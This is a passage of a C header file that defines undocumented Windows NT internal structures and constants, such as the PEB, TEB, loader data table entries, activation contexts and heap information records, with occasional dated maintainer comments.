FileType; UCHAR PathType; UCHAR HandleType; UNICODE_STRING Path; PVOID FileHandle; HANDLE Handle; unsigned __int64 Offset; ULONG Size; } BASE_MSG_SXS_STREAM, *PBASE_MSG_SXS_STREAM; // typedef struct _BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG { ULONG Flags; USHORT ProcessorArchitecture; UNICODE_STRING CultureFallbacks; struct _BASE_MSG_SXS_STREAM Manifest; struct _BASE_MSG_SXS_STREAM Policy; UNICODE_STRING AssemblyDirectory; UNICODE_STRING TextualAssemblyIdentity; unsigned __int64 FileTime; ULONG ResourceName; PVOID ActivationContextData; struct _ACTIVATION_CONTEXT_RUN_LEVEL_INFORMATION RunLevel; UNICODE_STRING AssemblyName; } BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG, *PBASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG; // typedef struct _BASE_API_MSG { PORT_MESSAGE h; struct _CSR_CAPTURE_HEADER* CaptureBuffer; CSR_API_NUMBER ApiNumber; ULONG ReturnValue; ULONG Reserved; union { /* size 0xb0*/ BASE_NLS_SET_USER_INFO_MSG NlsSetUserInfo; BASE_NLS_GET_USER_INFO_MSG NlsGetUserInfo; BASE_NLS_UPDATE_CACHE_COUNT_MSG NlsCacheUpdateCount; BASE_SHUTDOWNPARAM_MSG ShutdownParam; BASE_CREATEPROCESS_MSG CreateProcess; BASE_DEFERREDCREATEPROCESS_MSG DeferredCreateProcess; BASE_CREATETHREAD_MSG CreateThread; BASE_GETTEMPFILE_MSG GetTempFile; BASE_EXITPROCESS_MSG ExitProcess; BASE_DEBUGPROCESS_MSG DebugProcess; BASE_CHECKVDM_MSG CheckVDM; BASE_UPDATE_VDM_ENTRY_MSG UpdateVDMEntry; BASE_GET_NEXT_VDM_COMMAND_MSG GetNextVDMCommand; BASE_EXIT_VDM_MSG ExitVDM; BASE_IS_FIRST_VDM_MSG IsFirstVDM; BASE_GET_VDM_EXIT_CODE_MSG GetVDMExitCode; BASE_SET_REENTER_COUNT SetReenterCount; BASE_GET_SET_VDM_CUR_DIRS_MSG GetSetVDMCurDirs; BASE_BAT_NOTIFICATION_MSG BatNotification; BASE_REGISTER_WOWEXEC_MSG RegisterWowExec; BASE_SOUNDSENTRY_NOTIFICATION_MSG SoundSentryNotification; BASE_REFRESHINIFILEMAPPING_MSG RefreshIniFileMapping; BASE_DEFINEDOSDEVICE_MSG DefineDosDeviceApi; BASE_SET_TERMSRVAPPINSTALLMODE SetTermsrvAppInstallMode; BASE_SET_TERMSRVCLIENTTIMEZONE SetTermsrvClientTimeZone; BASE_SXS_CREATE_ACTIVATION_CONTEXT_MSG SxsCreateActivationContext; } u; } BASE_API_MSG, *PBASE_API_MSG; // typedef struct _BASE_STATIC_SERVER_DATA { UNICODE_STRING WindowsDirectory; UNICODE_STRING WindowsSystemDirectory; UNICODE_STRING NamedObjectDirectory; USHORT WindowsMajorVersion; USHORT WindowsMinorVersion; USHORT BuildNumber; USHORT CSDNumber; USHORT RCNumber; WCHAR CSDVersion[128]; SYSTEM_BASIC_INFORMATION SysInfo; SYSTEM_TIMEOFDAY_INFORMATION TimeOfDay; struct _INIFILE_MAPPING* IniFileMapping; NLS_USER_INFO NlsUserInfo; UCHAR DefaultSeparateVDM; UCHAR IsWowTaskReady; UNICODE_STRING WindowsSys32x86Directory; UCHAR fTermsrvAppInstallMode; RTL_DYNAMIC_TIME_ZONE_INFORMATION tziTermsrvClientTimeZone; KSYSTEM_TIME ktTermsrvClientBias; ULONG TermsrvClientTimeZoneId; UCHAR LUIDDeviceMapsEnabled; ULONG TermsrvClientTimeZoneChangeNum; } BASE_STATIC_SERVER_DATA, *PBASE_STATIC_SERVER_DATA; // #define GDI_BATCH_BUFFER_SIZE 310 typedef struct _GDI_TEB_BATCH { ULONG Offset; UCHAR Alignment[4]; ULONG_PTR HDC; ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; } GDI_TEB_BATCH,*PGDI_TEB_BATCH; typedef enum _EVENT_TYPE { NotificationEvent, SynchronizationEvent } EVENT_TYPE; typedef enum _TIMER_TYPE { NotificationTimer, SynchronizationTimer } TIMER_TYPE; typedef enum _WAIT_TYPE { WaitAll, WaitAny } WAIT_TYPE; #define STATIC_UNICODE_BUFFER_LENGTH 261 #define WIN32_CLIENT_INFO_LENGTH 62 #define WIN32_CLIENT_INFO_SPIN_COUNT 1 typedef PVOID* PPVOID; #define TLS_MINIMUM_AVAILABLE 64 typedef struct _ASSEMBLY_STORAGE_MAP_ENTRY { ULONG Flags; UNICODE_STRING DosPath; PVOID Handle; } ASSEMBLY_STORAGE_MAP_ENTRY, *PASSEMBLY_STORAGE_MAP_ENTRY; typedef struct _ASSEMBLY_STORAGE_MAP { ULONG Flags; ULONG AssemblyCount; struct _ASSEMBLY_STORAGE_MAP_ENTRY** AssemblyArray; } ASSEMBLY_STORAGE_MAP, *PASSEMBLY_STORAGE_MAP; typedef struct _ACTIVATION_CONTEXT_DATA { ULONG Magic; ULONG HeaderSize; ULONG FormatVersion; ULONG TotalSize; ULONG DefaultTocOffset; ULONG ExtendedTocOffset; ULONG AssemblyRosterOffset; ULONG Flags; } ACTIVATION_CONTEXT_DATA, *PACTIVATION_CONTEXT_DATA; typedef struct _ACTIVATION_CONTEXT { LONG RefCount; ULONG Flags; LIST_ENTRY Links; struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //void (NotificationRoutine)(unsigned long, struct _ACTIVATION_CONTEXT*, void*, void*, void*, unsigned char*); struct _ACTIVATION_CONTEXT* NotificationRoutine; PVOID NotificationContext; ULONG SentNotifications[8]; ULONG DisabledNotifications[8]; struct _ASSEMBLY_STORAGE_MAP StorageMap; struct _ASSEMBLY_STORAGE_MAP_ENTRY* InlineStorageMapEntries[32]; ULONG StackTraceIndex; PVOID StackTraces[4][4]; } ACTIVATION_CONTEXT, *PACTIVATION_CONTEXT; // typedef struct _PEB_FREE_BLOCK { struct _PEB_FREE_BLOCK *Next; ULONG Size; } PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID EntryInProgress; BOOLEAN ShutdownInProgress; HANDLE ShutdownThreadId; } PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _INITIAL_TEB { struct { PVOID OldStackBase; PVOID OldStackLimit; } OldInitialTeb; PVOID StackBase; PVOID StackLimit; PVOID StackAllocationBase; } INITIAL_TEB, *PINITIAL_TEB; typedef struct _WOW64_PROCESS { PVOID Wow64; } WOW64_PROCESS, *PWOW64_PROCESS; // // Private flags for loader data table entries // #define LDRP_STATIC_LINK 0x00000002 #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_LOAD_IN_PROGRESS 0x00001000 #define LDRP_UNLOAD_IN_PROGRESS 0x00002000 #define LDRP_ENTRY_PROCESSED 0x00004000 #define LDRP_ENTRY_INSERTED 0x00008000 #define LDRP_CURRENT_LOAD 0x00010000 #define LDRP_FAILED_BUILTIN_LOAD 0x00020000 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 #define LDRP_DEBUG_SYMBOLS_LOADED 0x00100000 #define LDRP_IMAGE_NOT_AT_BASE 0x00200000 #define LDRP_COR_IMAGE 0x00400000 #define LDRP_COR_OWNS_UNMAP 0x00800000 #define LDRP_SYSTEM_MAPPED 0x01000000 #define LDRP_IMAGE_VERIFYING 0x02000000 #define LDRP_DRIVER_DEPENDENT_DLL 0x04000000 #define LDRP_ENTRY_NATIVE 0x08000000 #define LDRP_REDIRECTED 0x10000000 #define LDRP_NON_PAGED_DEBUG_INFO 0x20000000 #define LDRP_MM_LOADED 0x40000000 #define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000 #define LDR_GET_DLL_HANDLE_EX_UNCHANGED_REFCOUNT 0x00000001 #define LDR_GET_DLL_HANDLE_EX_PIN 0x00000002 #define LDR_ADDREF_DLL_PIN 0x00000001 #define LDR_GET_PROCEDURE_ADDRESS_DONT_RECORD_FORWARDER 0x00000001 #define LDR_LOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 #define LDR_LOCK_LOADER_LOCK_FLAG_TRY_ONLY 0x00000002 #define LDR_LOCK_LOADER_LOCK_DISPOSITION_INVALID 0 #define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_ACQUIRED 1 #define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_NOT_ACQUIRED 2 #define LDR_UNLOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 #define LDR_DLL_NOTIFICATION_REASON_LOADED 1 #define LDR_DLL_NOTIFICATION_REASON_UNLOADED 2 typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA { ULONG Flags; PUNICODE_STRING FullDllName; PUNICODE_STRING BaseDllName; PVOID DllBase; ULONG SizeOfImage; } LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA; typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA { ULONG Flags; PCUNICODE_STRING FullDllName; PCUNICODE_STRING BaseDllName; PVOID DllBase; ULONG SizeOfImage; } LDR_DLL_UNLOADED_NOTIFICATION_DATA, *PLDR_DLL_UNLOADED_NOTIFICATION_DATA; typedef union _LDR_DLL_NOTIFICATION_DATA { LDR_DLL_LOADED_NOTIFICATION_DATA Loaded; LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded; } LDR_DLL_NOTIFICATION_DATA, *PLDR_DLL_NOTIFICATION_DATA; typedef VOID (NTAPI *PLDR_DLL_NOTIFICATION_FUNCTION)( IN ULONG NotificationReason, IN PLDR_DLL_NOTIFICATION_DATA NotificationData, _In_opt_ PVOID Context ); typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256]; } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; typedef struct _RTL_PROCESS_MODULES { ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules[1]; } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; typedef struct _RTL_PROCESS_MODULE_INFORMATION_EX { USHORT NextOffset; RTL_PROCESS_MODULE_INFORMATION BaseInfo; ULONG ImageChecksum; ULONG TimeDateStamp; PVOID DefaultBase; } RTL_PROCESS_MODULE_INFORMATION_EX, *PRTL_PROCESS_MODULE_INFORMATION_EX; // // Loader Data Table. Used to track DLLs loaded into an // image. // #ifdef __cplusplus struct LIST_ENTRY_EX : public LIST_ENTRY { BYTE unk1[8]; HANDLE base; BYTE unk2[20]; WCHAR* name; }; #endif typedef struct _LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; PVOID DllBase; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; USHORT LoadCount; USHORT TlsIndex; union { LIST_ENTRY HashLinks; struct { PVOID SectionPointer; ULONG CheckSum; }; }; union { ULONG TimeDateStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; LIST_ENTRY ForwarderLinks; LIST_ENTRY ServiceTagLinks; LIST_ENTRY StaticLinks; PVOID ContextInformation; ULONG_PTR OriginalBase; LARGE_INTEGER LoadTime; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; typedef const struct _LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY; typedef NTSTATUS LDR_RELOCATE_IMAGE_RETURN_TYPE; struct _FLS_CALLBACK_INFO; typedef BOOLEAN (NTAPI *PDLL_INIT_ROUTINE)( IN PVOID DllHandle, IN ULONG Reason, _In_opt_ PCONTEXT Context ); #define DOS_MAX_COMPONENT_LENGTH 255 #define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) #define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 #define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 typedef struct _RTL_RELATIVE_NAME { STRING RelativeName; HANDLE ContainingDirectory; } RTL_RELATIVE_NAME, *PRTL_RELATIVE_NAME; typedef struct _RTLP_CURDIR_REF *PRTLP_CURDIR_REF; typedef struct _RTL_RELATIVE_NAME_U { UNICODE_STRING RelativeName; HANDLE ContainingDirectory; PRTLP_CURDIR_REF CurDirRef; } RTL_RELATIVE_NAME_U, *PRTL_RELATIVE_NAME_U; typedef enum _RTL_PATH_TYPE { RtlPathTypeUnknown, RtlPathTypeUncAbsolute, RtlPathTypeDriveAbsolute, RtlPathTypeDriveRelative, RtlPathTypeRooted, RtlPathTypeRelative, RtlPathTypeLocalDevice, RtlPathTypeRootLocalDevice } RTL_PATH_TYPE, *PRTL_PATH_TYPE; #define RTL_MAX_DRIVE_LETTERS 32 #define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 // 18/04/2011 updated typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1; BOOLEAN IsProtectedProcess : 1; BOOLEAN IsLegacyProcess : 1; BOOLEAN IsImageDynamicallyRelocated : 1; BOOLEAN SkipPatchingUser32Forwarders : 1; BOOLEAN SpareBits : 3; }; }; HANDLE Mutant; PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; PVOID AtlThunkSListPtr; PVOID IFEOKey; union { ULONG CrossProcessFlags; struct { ULONG ProcessInJob : 1; ULONG ProcessInitializing : 1; ULONG ProcessUsingVEH : 1; ULONG ProcessUsingVCH : 1; ULONG ProcessUsingFTH : 1; ULONG ReservedBits0 : 27; }; ULONG EnvironmentUpdateCount; }; union { PVOID KernelCallbackTable; PVOID UserSharedInfoPtr; }; ULONG SystemReserved[1]; ULONG AtlThunkSListPtr32; PVOID ApiSetMap; ULONG TlsExpansionCounter; PVOID TlsBitmap; ULONG TlsBitmapBits[2]; PVOID ReadOnlySharedMemoryBase; PVOID HotpatchInformation; PPVOID ReadOnlyStaticServerData; PVOID AnsiCodePageData; PVOID OemCodePageData; PVOID UnicodeCaseTableData; ULONG NumberOfProcessors; ULONG NtGlobalFlag; LARGE_INTEGER CriticalSectionTimeout; SIZE_T HeapSegmentReserve; SIZE_T HeapSegmentCommit; SIZE_T HeapDeCommitTotalFreeThreshold; SIZE_T HeapDeCommitFreeBlockThreshold; ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; PPVOID ProcessHeaps; PVOID GdiSharedHandleTable; PVOID ProcessStarterHelper; ULONG GdiDCAttributeList; PRTL_CRITICAL_SECTION LoaderLock; ULONG OSMajorVersion; ULONG OSMinorVersion; USHORT OSBuildNumber; USHORT OSCSDVersion; ULONG OSPlatformId; ULONG ImageSubsystem; ULONG ImageSubsystemMajorVersion; ULONG ImageSubsystemMinorVersion; ULONG_PTR ImageProcessAffinityMask; GDI_HANDLE_BUFFER GdiHandleBuffer; PVOID PostProcessInitRoutine; PVOID TlsExpansionBitmap; ULONG TlsExpansionBitmapBits[32]; ULONG SessionId; ULARGE_INTEGER AppCompatFlags; ULARGE_INTEGER AppCompatFlagsUser; PVOID pShimData; PVOID AppCompatInfo; UNICODE_STRING CSDVersion; PVOID ActivationContextData; PVOID ProcessAssemblyStorageMap; PVOID SystemDefaultActivationContextData; PVOID SystemAssemblyStorageMap; SIZE_T MinimumStackCommit; PPVOID FlsCallback; LIST_ENTRY FlsListHead; PVOID FlsBitmap; ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; ULONG FlsHighIndex; PVOID WerRegistrationData; PVOID WerShipAssertPtr; PVOID pContextData; PVOID pImageHeaderHash; union { ULONG TracingFlags; struct { ULONG HeapTracingEnabled : 1; ULONG CritSecTracingEnabled : 1; ULONG SpareTracingBits : 30; }; }; } PEB, *PPEB; // // Fusion/sxs thread state information (aka, stuff noone cares about!) // #define ACTIVATION_CONTEXT_STACK_FLAG_QUERIES_DISABLED (0x00000001) typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; struct _ACTIVATION_CONTEXT* ActivationContext; ULONG Flags; } RTL_ACTIVATION_CONTEXT_STACK_FRAME, *PRTL_ACTIVATION_CONTEXT_STACK_FRAME; typedef struct _ACTIVATION_CONTEXT_STACK { struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME * ActiveFrame; struct _LIST_ENTRY FrameListCache; ULONG Flags; ULONG NextCookieSequenceNumber; ULONG StackId; } ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; typedef const ACTIVATION_CONTEXT_STACK * PCACTIVATION_CONTEXT_STACK; #define TEB_ACTIVE_FRAME_CONTEXT_FLAG_EXTENDED (0x00000001) typedef struct _TEB_ACTIVE_FRAME_CONTEXT { ULONG Flags; PSTR FrameName; } TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; typedef const TEB_ACTIVE_FRAME_CONTEXT *PCTEB_ACTIVE_FRAME_CONTEXT; typedef struct _TEB_ACTIVE_FRAME_CONTEXT_EX { TEB_ACTIVE_FRAME_CONTEXT BasicContext; PCSTR SourceLocation; // e.g. "c:\windows\system32\ntdll.dll" } TEB_ACTIVE_FRAME_CONTEXT_EX, *PTEB_ACTIVE_FRAME_CONTEXT_EX; typedef const TEB_ACTIVE_FRAME_CONTEXT_EX *PCTEB_ACTIVE_FRAME_CONTEXT_EX; #define TEB_ACTIVE_FRAME_FLAG_EXTENDED (0x00000001) // 17/3/2011 updated typedef struct _TEB_ACTIVE_FRAME { ULONG Flags; struct _TEB_ACTIVE_FRAME *Previous; PTEB_ACTIVE_FRAME_CONTEXT Context; } TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; typedef const TEB_ACTIVE_FRAME *PCTEB_ACTIVE_FRAME; typedef struct _TEB_ACTIVE_FRAME_EX { TEB_ACTIVE_FRAME BasicFrame; PVOID ExtensionIdentifier; // use address of your DLL Main or something mapping in the address space } TEB_ACTIVE_FRAME_EX, *PTEB_ACTIVE_FRAME_EX; typedef const TEB_ACTIVE_FRAME_EX *PCTEB_ACTIVE_FRAME_EX; // 18/04/2011 typedef struct _TEB { NT_TIB NtTib; PVOID EnvironmentPointer; CLIENT_ID ClientId; PVOID ActiveRpcHandle; PVOID ThreadLocalStoragePointer; PPEB ProcessEnvironmentBlock; ULONG LastErrorValue; ULONG CountOfOwnedCriticalSections; PVOID CsrClientThread; PVOID Win32ThreadInfo; ULONG User32Reserved[26]; ULONG UserReserved[5]; PVOID WOW32Reserved; LCID CurrentLocale; ULONG FpSoftwareStatusRegister; PVOID SystemReserved1[54]; NTSTATUS ExceptionCode; PVOID ActivationContextStackPointer; #if defined(_M_X64) UCHAR SpareBytes[24]; #else UCHAR SpareBytes[36]; #endif ULONG TxFsContext; GDI_TEB_BATCH GdiTebBatch; CLIENT_ID RealClientId; HANDLE GdiCachedProcessHandle; ULONG GdiClientPID; ULONG GdiClientTID; PVOID GdiThreadLocalInfo; ULONG_PTR Win32ClientInfo[62]; PVOID glDispatchTable[233]; ULONG_PTR glReserved1[29]; PVOID glReserved2; PVOID glSectionInfo; PVOID glSection; PVOID glTable; PVOID glCurrentRC; PVOID glContext; NTSTATUS LastStatusValue; UNICODE_STRING StaticUnicodeString; WCHAR StaticUnicodeBuffer[261]; PVOID DeallocationStack; PVOID TlsSlots[64]; LIST_ENTRY TlsLinks; PVOID Vdm; PVOID ReservedForNtRpc; PVOID DbgSsReserved[2]; ULONG HardErrorMode; #if defined(_M_X64) PVOID Instrumentation[11]; #else PVOID Instrumentation[9]; #endif GUID ActivityId; PVOID SubProcessTag; PVOID EtwLocalData; PVOID EtwTraceData; PVOID WinSockData; ULONG GdiBatchCount; union { PROCESSOR_NUMBER CurrentIdealProcessor; ULONG IdealProcessorValue; struct { UCHAR ReservedPad0; UCHAR ReservedPad1; UCHAR ReservedPad2; UCHAR IdealProcessor; }; }; ULONG GuaranteedStackBytes; PVOID ReservedForPerf; PVOID ReservedForOle; ULONG WaitingOnLoaderLock; PVOID SavedPriorityState; ULONG_PTR SoftPatchPtr1; PVOID ThreadPoolData; PPVOID TlsExpansionSlots; #if defined(_M_X64) PVOID DeallocationBStore; PVOID BStoreLimit; #endif ULONG MuiGeneration; ULONG IsImpersonating; PVOID NlsCache; PVOID pShimData; ULONG HeapVirtualAffinity; HANDLE CurrentTransactionHandle; PTEB_ACTIVE_FRAME ActiveFrame; PVOID FlsData; PVOID PreferredLanguages; PVOID UserPrefLanguages; PVOID MergedPrefLanguages; ULONG MuiImpersonation; union { USHORT CrossTebFlags; USHORT SpareCrossTebBits : 16; }; union { USHORT SameTebFlags; struct { USHORT SafeThunkCall : 1; USHORT InDebugPrint : 1; USHORT HasFiberData : 1; USHORT SkipThreadAttach : 1; USHORT WerInShipAssertCode : 1; USHORT RanProcessInit : 1; USHORT ClonedThread : 1; USHORT SuppressDebugMsg : 1; USHORT DisableUserStackWalk : 1; USHORT RtlExceptionAttached : 1; USHORT InitialThread : 1; USHORT SpareSameTebBits : 1; }; }; PVOID TxnScopeEnterCallback; PVOID TxnScopeExitCallback; PVOID TxnScopeContext; ULONG LockCount; ULONG SpareUlong0; PVOID ResourceRetValue; } TEB, *PTEB; #define PcTeb 0x18 #define RtlGetCurrentProcessId() (HandleToUlong(NtCurrentTeb()->ClientId.UniqueProcess)) #define RtlGetCurrentThreadId() (HandleToUlong(NtCurrentTeb()->ClientId.UniqueThread)) #define ZwCurrentProcess() NtCurrentProcess() // 17/3/2011 added __inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; } #define WOWAddress() ( NtCurrentTeb()->WOW32Reserved ) #define RtlProcessHeap() ( NtCurrentPeb()->ProcessHeap ) // 28/3/2011 added #define RtlAcquireLockRoutine(L) RtlEnterCriticalSection((PRTL_CRITICAL_SECTION)(L)) // added 18.04.2011 typedef struct _THREAD_BASIC_INFORMATION { NTSTATUS ExitStatus; PTEB TebBaseAddress; CLIENT_ID ClientId; KAFFINITY AffinityMask; KPRIORITY Priority; KPRIORITY BasePriority; } THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; // added 20.12.11 // Process Device Map information // NtQueryInformationProcess using ProcessDeviceMap // NtSetInformationProcess using ProcessDeviceMap // //#pragma pack (push, 1) typedef struct _PROCESS_DEVICEMAP_INFORMATION { union { struct { HANDLE DirectoryHandle; } Set; struct { ULONG DriveMap; UCHAR DriveType[ 32 ]; } Query; }; } PROCESS_DEVICEMAP_INFORMATION, *PPROCESS_DEVICEMAP_INFORMATION; typedef struct _PROCESS_DEVICEMAP_INFORMATION_EX { union { struct { HANDLE DirectoryHandle; } Set; struct { ULONG DriveMap; UCHAR DriveType[ 32 ]; } Query; }; ULONG Flags; // specifies that the query type } PROCESS_DEVICEMAP_INFORMATION_EX, *PPROCESS_DEVICEMAP_INFORMATION_EX; //#pragma pack(pop) typedef struct _PROCESS_BASIC_INFORMATION { NTSTATUS ExitStatus; PPEB PebBaseAddress; ULONG_PTR AffinityMask; KPRIORITY BasePriority; ULONG_PTR UniqueProcessId; ULONG_PTR InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION; typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION; typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION { SIZE_T Size; // Must be set to structure size on input PROCESS_BASIC_INFORMATION BasicInfo; union { ULONG Flags; struct { ULONG IsProtectedProcess : 1; ULONG IsWow64Process : 1; ULONG IsProcessDeleting : 1; ULONG IsCrossSessionCreate : 1; ULONG SpareBits : 28; } DUMMYSTRUCTNAME; } DUMMYUNIONNAME; } PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; typedef struct _RTL_HEAP_ENTRY { SIZE_T Size; USHORT Flags; USHORT AllocatorBackTraceIndex; union { struct { SIZE_T Settable; ULONG Tag; } s1; // All other heap entries struct { SIZE_T CommittedSize; PVOID FirstBlock; } s2; // RTL_SEGMENT } u; } RTL_HEAP_ENTRY, *PRTL_HEAP_ENTRY; #define RTL_HEAP_BUSY (USHORT)0x0001 #define RTL_HEAP_SEGMENT (USHORT)0x0002 #define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 #define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 #define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 #define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 #define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00E0 #define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 #define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 typedef struct _RTL_HEAP_TAG { ULONG NumberOfAllocations; ULONG NumberOfFrees; SIZE_T BytesAllocated; USHORT TagIndex; USHORT CreatorBackTraceIndex; WCHAR TagName[ 24 ]; } RTL_HEAP_TAG, *PRTL_HEAP_TAG; typedef struct _RTL_HEAP_INFORMATION { PVOID BaseAddress; ULONG Flags; USHORT EntryOverhead; USHORT CreatorBackTraceIndex; SIZE_T BytesAllocated; SIZE_T BytesCommitted; ULONG NumberOfTags; ULONG NumberOfEntries; ULONG NumberOfPseudoTags; ULONG PseudoTagGranularity; ULONG Reserved[ 5 ]; PRTL_HEAP_TAG Tags; PRTL_HEAP_ENTRY Entries; } RTL_HEAP_INFORMATION, *PRTL_HEAP_INFORMATION; typedef struct _RTL_PROCESS_HEAPS { ULONG NumberOfHeaps; RTL_HEAP_INFORMATION Heaps[ 1 ]; } RTL_PROCESS_HEAPS, *PRTL_PROCESS_HEAPS; typedef struct _RTL_PROCESS_LOCK_INFORMATION { PVOID Address; USHORT Type; USHORT CreatorBackTraceIndex; HANDLE OwningThread; // from the thread's ClientId->UniqueThread LONG LockCount; ULONG ContentionCount; ULONG EntryCount; // // The following fields are only valid for Type == RTL_CRITSECT_TYPE // LONG RecursionCount; // // The following fields are only valid for Type == RTL_RESOURCE_TYPE // ULONG NumberOfWaitingShared; ULONG NumberOfWaitingExclusive; } RTL_PROCESS_LOCK_INFORMATION, *PRTL_PROCESS_LOCK_INFORMATION; // do not name SHA_CTX, if using OpenSSL or such... produces errors. typedef struct { ULONG Unknown[6]; ULONG State[5]; ULONG Count[2]; UCHAR Buffer[64]; } ASHA_CTX, *PSHA_CTX; struct _CONTEXT; struct _EXCEPTION_RECORD; // note, winnt.h ... such the pain-in-ass with this structure. #if !defined(_WINNT_) typedef EXCEPTION_DISPOSITION (*PEXCEPTION_ROUTINE) ( IN struct _EXCEPTION_RECORD *ExceptionRecord, IN PVOID EstablisherFrame, _Inout_ struct _CONTEXT *ContextRecord, _Inout_ PVOID DispatcherContext ); typedef struct _EXCEPTION_REGISTRATION_RECORD { struct _EXCEPTION_REGISTRATION_RECORD *Next; PEXCEPTION_ROUTINE Handler; } EXCEPTION_REGISTRATION_RECORD; typedef EXCEPTION_REGISTRATION_RECORD *PEXCEPTION_REGISTRATION_RECORD; #endif #if !defined(POINTER_64) #define POINTER_64 __ptr64 typedef unsigned __int64 POINTER_64_INT; #if defined(_M_X64) #define POINTER_32 __ptr32 #else #define POINTER_32 #endif #endif typedef enum _NT_PRODUCT_TYPE { NtProductWinNt = 1, NtProductLanManNt, NtProductServer } NT_PRODUCT_TYPE, *PNT_PRODUCT_TYPE; typedef enum _SUITE_TYPE { SmallBusiness, Enterprise, BackOffice, CommunicationServer, TerminalServer, SmallBusinessRestricted, EmbeddedNT, DataCenter, SingleUserTS, Personal, Blade, EmbeddedRestricted, SecurityAppliance, StorageServer, ComputeServer, MaxSuiteType } SUITE_TYPE; #define VER_SERVER_NT 0x80000000 #define VER_WORKSTATION_NT 0x40000000 #define VER_SUITE_SMALLBUSINESS 0x00000001 #define VER_SUITE_ENTERPRISE 0x00000002 #define VER_SUITE_BACKOFFICE 0x00000004 #define VER_SUITE_COMMUNICATIONS 0x00000008 #define VER_SUITE_TERMINAL 0x00000010 #define VER_SUITE_SMALLBUSINESS_RESTRICTED 0x00000020 #define VER_SUITE_EMBEDDEDNT 0x00000040 #define VER_SUITE_DATACENTER 0x00000080 #define VER_SUITE_SINGLEUSERTS 0x00000100 #define VER_SUITE_PERSONAL 0x00000200 #define VER_SUITE_BLADE 0x00000400 #define VER_SUITE_EMBEDDED_RESTRICTED 0x00000800 #define VER_SUITE_SECURITY_APPLIANCE 0x00001000 #define VER_SUITE_STORAGE_SERVER 0x00002000 #define VER_SUITE_COMPUTE_SERVER 0x00004000 // // exception structures // #ifndef _WINNT_ // take presidence over winnt.h typedef struct _CONTEXT { // // The flags values within this flag control the contents of // a CONTEXT record. // // If the context record is used as an input parameter, then // for each portion of the context record controlled by a flag // whose value is set, it is assumed that that portion of the // context record contains valid context. If the context record // is being used to modify a threads context, then only that // portion of the threads context will be modified. // // If the context record is used as an _Inout_ parameter to capture // the context of a thread, then only those portions of the thread's // context corresponding to set flags will be returned. // // The context record is never used as an OUT only parameter. // DWORD ContextFlags; // // This section is 